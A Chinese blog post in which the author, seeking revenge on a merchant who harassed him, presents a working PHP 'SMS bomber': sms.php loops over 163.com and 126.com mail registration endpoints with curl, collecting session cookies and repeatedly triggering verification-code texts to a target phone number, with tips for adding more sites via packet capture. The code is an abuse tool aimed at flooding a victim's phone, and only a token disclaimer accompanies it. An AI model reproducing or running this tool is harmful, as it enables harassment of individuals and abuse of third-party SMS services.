最近在某宝买东西得罪了某黑心商家。。然后他就疯狂的给我发骚扰短信,烦死了。。。
短信大概就是利用一些网站的手机验证码来实现的。。
所以再被他疯狂骚扰后决定自己动手反击。。
php主要用到了curl的函数库扩展,然后主要要做的还是去抓包分析网站注册码的各个请求,
下面就主要来一个小的demo来详细说一下。。效率谈不上,仅限于娱乐。
1.sms.php
注意cookie文件一定要用绝对路径。。在这纠结了好久。。
其他的curlopt参数自己去查手册吧
还有里面缺少一些状态判断,可以自己去做,懒得搞了。。他一般返回json格式,还是很清楚的,剩余几次,是否已经注册都有信息可以提取。curl_exec()的返回值里有数据
1 <?php 2 ini_set('max_execution_time',0); 3 if(!isset($argv[1])){ 4 print("argv error"); 5 die(); 6 } 7 include_once("./webinfo.php"); 8 $exps = array(); 9 foreach ($webs as $key => $value) { 10 $exps[] = new $value($argv[1]); 11 } 12 for($i=1;$i<=3;$i++){ 13 print("this is {$i} send "); 14 foreach ($exps as $key => $value) { 15 if(!file_exists($value->cookieJar)){ 16 $fp = fopen(dirname(__FILE__)."/".$value->cookieJar, "w+"); 17 fclose($fp); 18 print("[+]create cookiefile {$value->cookieJar} "); 19 } 20 $ch = curl_init(); 21 curl_setopt($ch,CURLOPT_URL,$value->urlGetRawCookie); 22 curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__)."/".$value->cookieJar); 23 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 24 curl_setopt($ch, CURLOPT_HEADER, 0); 25 curl_exec($ch); 26 print("[+]get raw cookie ready "); 27 curl_setopt($ch, CURLOPT_COOKIEFILE,dirname(__FILE__)."/".$value->cookieJar); 28 if($value->urlCheckNum!=null){ 29 $checkUrl = $value->urlCheckNum; 30 foreach ($checkUrl as $k => $v) { 31 if($value->type=="post"){ 32 curl_setopt($ch, CURLOPT_URL, $v[0]); 33 curl_setopt($ch, CURLOPT_POST, true); 34 curl_setopt($ch, CURLOPT_POSTFIELDS, $v[1]); 35 }else{ 36 curl_setopt($ch, CURLOPT_URL, $v); 37 } 38 curl_exec($ch); 39 print("[+]check num ready "); 40 } 41 } 42 if($value->type=="post"){ 43 curl_setopt($ch, CURLOPT_POST, true); 44 curl_setopt($ch, CURLOPT_POSTFIELDS, $value->paras); 45 } 46 curl_setopt($ch, CURLOPT_COOKIEFILE,dirname(__FILE__)."/".$value->cookieJar); 47 curl_setopt($ch, CURLOPT_URL, $value->urlSendSMS); 48 curl_exec($ch); 49 print("[+]send sms ok begin the next... "); 50 } 51 if($i!=3){ 52 print("[--]we will begin the next send sms after 60s "); 53 sleep(60); 54 } 55 56 }
2.webinfo.php
1 <?php 2 /* 3 *本页面为网站信息数据 4 *$webs数组存放所有的 5 *$type为请求格式 6 * 7 *$urlGetRawCookie为原始登录网页网址,用来取得原始cookie并保存, 8 *因为一般他们会把验证码信息存在session中,若没有登录,就对应了cookie中的JSESSIONID,与http协议机制相关 9 * 10 *$urlCheckNum为最终发送网址之前的一些网址,保存为数组格式,若为post型,则保存为二维数组, 11 *最内层数组第一个元素为网址,第二个为post数据 12 * 13 *$urlSendSMS为最终发送网址,若为post型,post数据对应于$paras 14 * 15 *$cookieJar为cookie保存文件 16 */ 17 $webs = array("info163","info126"); 18 class Info163{ 19 public $type = "post"; 20 public $paras = ""; 21 public $urlGetRawCookie = "http://reg.email.163.com/unireg/call.do?cmd=register.entrance&from=163mail"; 22 public $urlCheckNum = null; 23 public $urlSendSMS = "http://reg.email.163.com/unireg/call.do?cmd=added.mobileverify.sendAcode"; 24 public $cookieJar = "cookie163.txt"; 25 public function info163($num){ 26 $this->paras = "mobile={$num}&uid={$num}@163.com&mark=mobile_start"; 27 } 28 29 } 30 class Info126{ 31 public $type = "get"; 32 public $urlGetRawCookie = "http://e.mail.163.com/mobilemail/home.do?from=163mail"; 33 public $urlCheckNum = null; 34 public $urlSendSMS = "http://e.mail.163.com/mobilemail/getVerifyCode.do?rnd=0.031214307695158909"; 35 public $cookieJar = "cookie126.txt"; 36 public function info126($num){ 37 $this->urlCheckNum = array( 38 "http://e.mail.163.com/mobilemail/service/jslog.do?mobile={$num}", 39 "http://e.mail.163.com/mobilemail/checkMobileBinded.do?mobile={$num}&rnd=0.5488968987483531" 40 ); 41 } 42 } 43 44 45 46 ?>
自己可以按照规则扩展webino里的数据,抓包可以用wireshark,不过http抓包个人感觉还是chrome自带的工具比较好用点
请勿用于非法用途,后果自负。